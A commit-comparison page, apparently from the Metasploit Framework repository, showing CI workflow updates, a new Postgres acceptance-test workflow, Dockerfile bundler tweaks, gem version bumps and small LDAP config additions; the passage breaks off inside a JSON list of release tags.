Compare commits
344 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| d2c19efeac | |||
| 55dd5aa9c0 | |||
| 44c5422e07 | |||
| d2c599eaf4 | |||
| 6d84f0e898 | |||
| 4bd105202a | |||
| b04e84ed99 | |||
| df2c94f873 | |||
| b9e82375c1 | |||
| d7bf7bc2ea | |||
| 46dd21d69d | |||
| fbbaf69050 | |||
| 8989b3226f | |||
| 4292488925 | |||
| 923f4c9f7b | |||
| 81e96d3e71 | |||
| 1baf86842e | |||
| d88185bff0 | |||
| a33e7a72b0 | |||
| 9a9c27bb60 | |||
| 290656faaf | |||
| b52d79ec49 | |||
| 4e0e3da74c | |||
| a366f6a819 | |||
| f4fedc2195 | |||
| c8d50bda0f | |||
| 69f368b8f4 | |||
| d964edde11 | |||
| 65cc577694 | |||
| 1e371d0e4a | |||
| 172a200525 | |||
| 7ce91df66e | |||
| 0252429715 | |||
| 49a5f0d113 | |||
| 0513654f10 | |||
| ab0327fb33 | |||
| 980c5053f4 | |||
| 4078707933 | |||
| 1d764c1780 | |||
| ba75b3bb3f | |||
| 169ea31673 | |||
| 0139ed61d1 | |||
| 0fad7bbe1c | |||
| 2a68e04292 | |||
| e7bc17cab3 | |||
| b91b718077 | |||
| a3a331a07a | |||
| 05a7698773 | |||
| e20558ec35 | |||
| f872535c68 | |||
| 60431057ad | |||
| 8f759af4de | |||
| 64831b67f1 | |||
| 23e0abe2f6 | |||
| b114058389 | |||
| c411802163 | |||
| c3eca46de4 | |||
| 936b311a1b | |||
| 9af1f6970a | |||
| 76e27ed208 | |||
| 8b6f7594e4 | |||
| c4837d09e9 | |||
| 7b595d2354 | |||
| 9b8b7045ff | |||
| 57bc748e9c | |||
| 985b0ba47f | |||
| b30f264630 | |||
| e7a520738d | |||
| 4eb4c3b025 | |||
| 41d458f038 | |||
| 1667da7b07 | |||
| b473b6de77 | |||
| 2399c2a393 | |||
| 5c56d6a4fc | |||
| b925f798e5 | |||
| aac4ef09cc | |||
| 1124e347df | |||
| bf59f58661 | |||
| 95283f7d3e | |||
| 1e8e6d3bc4 | |||
| 39af0bf535 | |||
| 9b2b042e19 | |||
| 2df926ae1d | |||
| 2eaec5b9a8 | |||
| 4fc9e269ae | |||
| d748adcf80 | |||
| 3c8f43e23e | |||
| e912509715 | |||
| 28a38f3aa0 | |||
| 97ef5cf827 | |||
| 06593b02b2 | |||
| 7f6be50855 | |||
| f2d836d008 | |||
| ac7c06e18c | |||
| 8e5f26fac0 | |||
| 76166c0d14 | |||
| a5fb83d0e1 | |||
| 9988117cca | |||
| fa4a16df5e | |||
| 8184035d57 | |||
| 82486e712c | |||
| 6b11cd4332 | |||
| 1b73044203 | |||
| 401cdca09b | |||
| a73a7531a9 | |||
| ee681cdb79 | |||
| d4791f966b | |||
| d10909c961 | |||
| 4d85a8dff9 | |||
| 703e9ba68d | |||
| bcb4e3aa9d | |||
| d09053cde5 | |||
| 3e80e04b34 | |||
| f1a9d9988a | |||
| 0975f99305 | |||
| 87f91f284a | |||
| 550c6f030a | |||
| fcbb3bddfa | |||
| 0c1bcbf275 | |||
| fcba49d23a | |||
| 8b1ff6d44e | |||
| 6fe9ef5f8c | |||
| 17315653a5 | |||
| bc4362d07d | |||
| a0dc757cb8 | |||
| b0123eab2e | |||
| d8abd2bcc2 | |||
| a4543b0f41 | |||
| 435759bb47 | |||
| f0ca5c10dc | |||
| 4fe861c653 | |||
| 131585235b | |||
| b423241e6b | |||
| 55a8d6732f | |||
| 42255a27a6 | |||
| 26214cbfd2 | |||
| 4b54d43db5 | |||
| 1726767fdf | |||
| 8bc6705557 | |||
| a887682e0f | |||
| 17d8fa2335 | |||
| 334f9e5ff9 | |||
| efba30031d | |||
| b7200b52e1 | |||
| d51aa30fff | |||
| f52543b4a6 | |||
| 8bca294966 | |||
| 75c6dcdc15 | |||
| 3cbf46c5b7 | |||
| 4a51e028d8 | |||
| 97f75c19e4 | |||
| fefc3cb73c | |||
| 488d4c0387 | |||
| b91430c878 | |||
| 76a1518eab | |||
| 787a2cb19e | |||
| 3759346f10 | |||
| f2de6d6357 | |||
| 03e5b36008 | |||
| 39f518eebb | |||
| d7a0dee7d1 | |||
| ebe6e54259 | |||
| fe8867356e | |||
| f3af1836ce | |||
| 355d5c2426 | |||
| 559ab0f10d | |||
| 7c000bc101 | |||
| dee2f2aa0d | |||
| 9ae9e06017 | |||
| 0ade721bf1 | |||
| 94587433cd | |||
| ca562a95d8 | |||
| 47596c6a0c | |||
| 30e761831e | |||
| 244e20a3d5 | |||
| d5bcac1370 | |||
| 257ec484c7 | |||
| 4b7f4e2b0d | |||
| 8fca7d188f | |||
| 003d5e7006 | |||
| d65827367f | |||
| 97513d473f | |||
| a183289945 | |||
| 8bc50c1d3a | |||
| f3a637b4e9 | |||
| 854dcc5776 | |||
| 27a1233de8 | |||
| a07d1c88be | |||
| 79bfbe4310 | |||
| 2c09f385d6 | |||
| d52220cccb | |||
| 65cb30b0a4 | |||
| 0b14d1b495 | |||
| 8b4fee010c | |||
| d76dd4a7fb | |||
| b2cb102c9b | |||
| 51dcd5c971 | |||
| 4af5c5438f | |||
| c5eb4eb8a9 | |||
| a1a0df74eb | |||
| eded0e7788 | |||
| 085071da02 | |||
| f6b1c9b1ce | |||
| e0ee7940d0 | |||
| 2839683af5 | |||
| aefebd996a | |||
| 0aa20c73a4 | |||
| 1b7c2bbaec | |||
| 10f11c94e1 | |||
| 9828ffa870 | |||
| 2d8b0f414d | |||
| 61c1a513a5 | |||
| cc565a1731 | |||
| 82c2eb9899 | |||
| 6d473b2424 | |||
| c529749f77 | |||
| 7b618d4f41 | |||
| bf1608a4ad | |||
| f70667124f | |||
| d21e4080a9 | |||
| b79790cff6 | |||
| 06b3004af4 | |||
| a30a7f81e5 | |||
| e288592beb | |||
| 901a972a71 | |||
| 4fcb4a4e3a | |||
| 768ad16d8c | |||
| 175d584ff7 | |||
| 200d03c417 | |||
| a3d8b0f77a | |||
| e66f6c106b | |||
| 3be5988679 | |||
| 2cc8281db7 | |||
| c2a217efcd | |||
| 5735c7cb89 | |||
| 6db865a46c | |||
| b2f36e41c4 | |||
| edf2bae69a | |||
| 66696d201b | |||
| db3b2de3f3 | |||
| 0108f1f214 | |||
| de17261926 | |||
| 60bc412026 | |||
| 64ab62f2c3 | |||
| ca367bc87b | |||
| c298540bea | |||
| 19c1a35592 | |||
| 8cddffa3d1 | |||
| eef29a5100 | |||
| bc6bf1c4f3 | |||
| a1b0ff0fcf | |||
| a8408f139e | |||
| 32ed8eeedf | |||
| fc963bd8bb | |||
| 94f0d243c7 | |||
| da9164fcc6 | |||
| 3483419d50 | |||
| 04d501a7a7 | |||
| cdba70b44d | |||
| 90ed3cd00a | |||
| 0e98da39c2 | |||
| bbe1098b13 | |||
| e15fd1a782 | |||
| 6c252de974 | |||
| 7b56d012e8 | |||
| 9e75b70868 | |||
| 40701bf59a | |||
| 57eda908d1 | |||
| 8dcb409d25 | |||
| 8a1f5de8f1 | |||
| 20563b64b2 | |||
| 1d9a08f405 | |||
| e49c6a792a | |||
| 8e3daa5179 | |||
| 843c64d2f6 | |||
| 67cd9b425b | |||
| d716e60cf2 | |||
| f5c71d09c2 | |||
| 8b70cefd83 | |||
| 996ca8a7c9 | |||
| f75722ecf2 | |||
| dde7e3c5d3 | |||
| eafdb8495b | |||
| d5f30befbb | |||
| 3db32da70f | |||
| 5f703b2e28 | |||
| d987b81591 | |||
| fa5c4c0193 | |||
| 0d4e1ed755 | |||
| 587a8690a1 | |||
| 08872d0211 | |||
| 0f319bdfb9 | |||
| 35f8c6ce8a | |||
| b6b382c4d2 | |||
| 423bf0c519 | |||
| cc0fc56874 | |||
| 58eba131a8 | |||
| 3203c7cb66 | |||
| fdcd9e26ad | |||
| 1f292c8a73 | |||
| 184ed3a162 | |||
| 4dc21bae45 | |||
| 25804edbf4 | |||
| 84278b8e0e | |||
| 03a58c784b | |||
| 367783bcb5 | |||
| bed552d26e | |||
| 1c334ad670 | |||
| e5b5f12a4e | |||
| 2b01b86374 | |||
| 2efbf6e2f5 | |||
| 779da83d59 | |||
| e6c4195ad3 | |||
| 38c9185564 | |||
| 4cb18483d6 | |||
| d20ef7a08b | |||
| bcefde29c3 | |||
| 482d2b28b1 | |||
| fd3ca96988 | |||
| 97ef243d2e | |||
| d7cf9155a6 | |||
| a8bc6cc27f | |||
| d57c9fb464 | |||
| 5a14575a31 | |||
| b8e2feebe0 | |||
| 6de51a5047 | |||
| 077cad34ab | |||
| 6d298c379b | |||
| a4e8714de6 | |||
| a09cf6471a | |||
| 2ab1b7a310 | |||
| 6ba5d03993 | |||
| 672d651221 | |||
| 70c69f46a5 | |||
| 7876912eab | |||
| ea189d6c34 | |||
| 1a3b00e593 | |||
| 6972a910fb | |||
| 6b5fff6c33 | |||
| 05d6e9815d | |||
| 79d3cc81cb | |||
| 8e33badd80 | |||
| 823824163e | |||
| e3c97148e8 |
@@ -40,6 +40,7 @@ on:
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
- '.github/**'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
@@ -101,11 +102,11 @@ jobs:
|
||||
|
||||
- name: Set up Python
|
||||
if: ${{ matrix.meterpreter.name == 'python' }}
|
||||
uses: actions/setup-python@v4
|
||||
uses: actions/setup-python@v5
|
||||
with:
|
||||
python-version: ${{ matrix.meterpreter.runtime_version }}
|
||||
|
||||
- uses: actions/setup-java@v3
|
||||
- uses: actions/setup-java@v4
|
||||
if: ${{ matrix.meterpreter.name == 'java' }}
|
||||
with:
|
||||
distribution: temurin
|
||||
@@ -127,7 +128,7 @@ jobs:
|
||||
type %WINDIR%\\system32\\drivers\\etc\\hosts
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
@@ -154,11 +155,11 @@ jobs:
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/
|
||||
bundle exec rspec spec/acceptance/meterpreter_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: raw-data-${{ matrix.meterpreter.name }}-${{ matrix.meterpreter.runtime_version }}-${{ matrix.os }}
|
||||
@@ -173,7 +174,7 @@ jobs:
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
@@ -187,14 +188,14 @@ jobs:
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: 3.0.2
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v3
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
@@ -217,7 +218,7 @@ jobs:
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v3
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
name: Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
|
||||
@@ -43,7 +43,7 @@ jobs:
|
||||
run: sudo apt-get install libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
# Required to checkout HEAD^ and 3a046f01dae340c124dd3895e670983aef5fe0c5 for the msftidy script
|
||||
# https://github.com/actions/checkout/tree/5a4ac9002d0be2fb38bd78e4b4dbde5606d7042f#checkout-head
|
||||
with:
|
||||
|
||||
@@ -0,0 +1,182 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**postgres**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
postgres:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
services:
|
||||
postgres:
|
||||
image: ${{ matrix.docker_image }}
|
||||
ports: ["5432:5432"]
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- postgres:9.4
|
||||
- postgres:16.2
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/postgres_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- postgres
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -33,7 +33,7 @@ jobs:
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
@@ -74,9 +74,6 @@ jobs:
|
||||
exclude:
|
||||
- { os: ubuntu-latest, ruby: '3.0' }
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DATASTORE_FALLBACKS=1'
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
@@ -96,7 +93,7 @@ jobs:
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
|
||||
+6
-2
@@ -1,7 +1,8 @@
|
||||
FROM ruby:3.1.4-alpine3.18 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle config $BUNDLER_CONFIG_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
|
||||
bundle clean --force; \
|
||||
fi \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
|
||||
+17
-17
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.56)
|
||||
metasploit-framework (6.3.60)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -33,7 +33,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.165)
|
||||
metasploit-payloads (= 2.0.166)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
@@ -188,7 +188,7 @@ GEM
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.70.0)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
@@ -279,7 +279,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.165)
|
||||
metasploit-payloads (2.0.166)
|
||||
metasploit_data_models (6.0.3)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -426,23 +426,23 @@ GEM
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.53)
|
||||
rex-text (0.2.56)
|
||||
rex-zip (0.1.5)
|
||||
rex-text
|
||||
rexml (3.2.6)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.3)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.6)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-mocks (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (6.0.3)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
@@ -453,7 +453,7 @@ GEM
|
||||
rspec-support (~> 3.12)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.1)
|
||||
rspec-support (3.13.0)
|
||||
rubocop (1.56.4)
|
||||
base64 (~> 0.1.1)
|
||||
json (~> 2.3)
|
||||
@@ -545,7 +545,7 @@ GEM
|
||||
activesupport (>= 4.2, < 8.0)
|
||||
xmlrpc (0.3.3)
|
||||
webrick
|
||||
yard (0.9.34)
|
||||
yard (0.9.36)
|
||||
zeitwerk (2.6.12)
|
||||
|
||||
PLATFORMS
|
||||
|
||||
+12
-12
@@ -38,7 +38,7 @@ crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
date, 3.3.3, "ruby, Simplified BSD"
|
||||
debug, 1.8.0, "ruby, Simplified BSD"
|
||||
diff-lcs, 1.5.0, "MIT, Artistic-2.0, GPL-2.0+"
|
||||
diff-lcs, 1.5.1, "MIT, Artistic-2.0, GPL-2.0-or-later"
|
||||
dnsruby, 1.70.0, "Apache 2.0"
|
||||
docile, 1.4.0, MIT
|
||||
domain_name, 0.5.20190701, "Simplified BSD, New BSD, Mozilla Public License 2.0"
|
||||
@@ -79,10 +79,10 @@ macaddr, 1.7.2, ruby
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.2, "New BSD"
|
||||
metasploit-credential, 6.0.6, "New BSD"
|
||||
metasploit-framework, 6.3.56, "New BSD"
|
||||
metasploit-credential, 6.0.7, "New BSD"
|
||||
metasploit-framework, 6.3.60, "New BSD"
|
||||
metasploit-model, 5.0.2, "New BSD"
|
||||
metasploit-payloads, 2.0.165, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.166, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.3, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.26, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
@@ -149,20 +149,20 @@ rex-powershell, 0.1.99, "New BSD"
|
||||
rex-random_identifier, 0.1.11, "New BSD"
|
||||
rex-registry, 0.1.5, "New BSD"
|
||||
rex-rop_builder, 0.1.5, "New BSD"
|
||||
rex-socket, 0.1.55, "New BSD"
|
||||
rex-socket, 0.1.56, "New BSD"
|
||||
rex-sslscan, 0.1.10, "New BSD"
|
||||
rex-struct2, 0.1.4, "New BSD"
|
||||
rex-text, 0.2.53, "New BSD"
|
||||
rex-text, 0.2.56, "New BSD"
|
||||
rex-zip, 0.1.5, "New BSD"
|
||||
rexml, 3.2.6, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.2, MIT
|
||||
rspec-expectations, 3.12.3, MIT
|
||||
rspec-mocks, 3.12.6, MIT
|
||||
rspec, 3.13.0, MIT
|
||||
rspec-core, 3.13.0, MIT
|
||||
rspec-expectations, 3.13.0, MIT
|
||||
rspec-mocks, 3.13.0, MIT
|
||||
rspec-rails, 6.0.3, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.1, MIT
|
||||
rspec-support, 3.13.0, MIT
|
||||
rubocop, 1.56.4, MIT
|
||||
rubocop-ast, 1.29.0, MIT
|
||||
ruby-macho, 4.0.0, MIT
|
||||
@@ -207,5 +207,5 @@ windows_error, 0.1.5, BSD
|
||||
winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.3, "ruby, Simplified BSD"
|
||||
yard, 0.9.34, MIT
|
||||
yard, 0.9.36, MIT
|
||||
zeitwerk, 2.6.12, MIT
|
||||
|
||||
@@ -224,6 +224,7 @@ queries:
|
||||
- adminCount
|
||||
- managedBy
|
||||
- groupAttributes
|
||||
- objectSID
|
||||
references:
|
||||
- http://www.ldapexplorer.com/en/manual/109050000-famous-filters.htm
|
||||
- action: ENUM_GROUP_POLICY_OBJECTS
|
||||
|
||||
@@ -16,6 +16,8 @@ services:
|
||||
enabled: yes
|
||||
- type: IMAP
|
||||
enabled: yes
|
||||
- type: LDAP
|
||||
enabled: yes
|
||||
- type: MSSQL
|
||||
enabled: yes
|
||||
- type: MySQL
|
||||
|
||||
@@ -0,0 +1,188 @@
|
||||
[
|
||||
{
|
||||
"name": "v0.7.1",
|
||||
"commit": {
|
||||
"sha": "56fa824510d8a35b08e3b42bf6625c846e2ed5a0"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.7.0",
|
||||
"commit": {
|
||||
"sha": "fdd9ad94c11d44259ef26bf4b2dc9a8bd139f607"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.2",
|
||||
"commit": {
|
||||
"sha": "b0c367cac7211117e88a55517396764036ac0552"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.1",
|
||||
"commit": {
|
||||
"sha": "ef0dacb0c36a1a180ef8fda670c82854658aab00"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.6.0",
|
||||
"commit": {
|
||||
"sha": "e72f6d6d5dd078df2d270cc48a4087588443f89a"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.5.0",
|
||||
"commit": {
|
||||
"sha": "027d9b4653e2f3ea13d4de6a0b2bd568106ffb40"
|
||||
}
|
||||
},
|
||||
{
|
||||
"name": "v0.4.0",
|
||||
"commit": {
|
||||
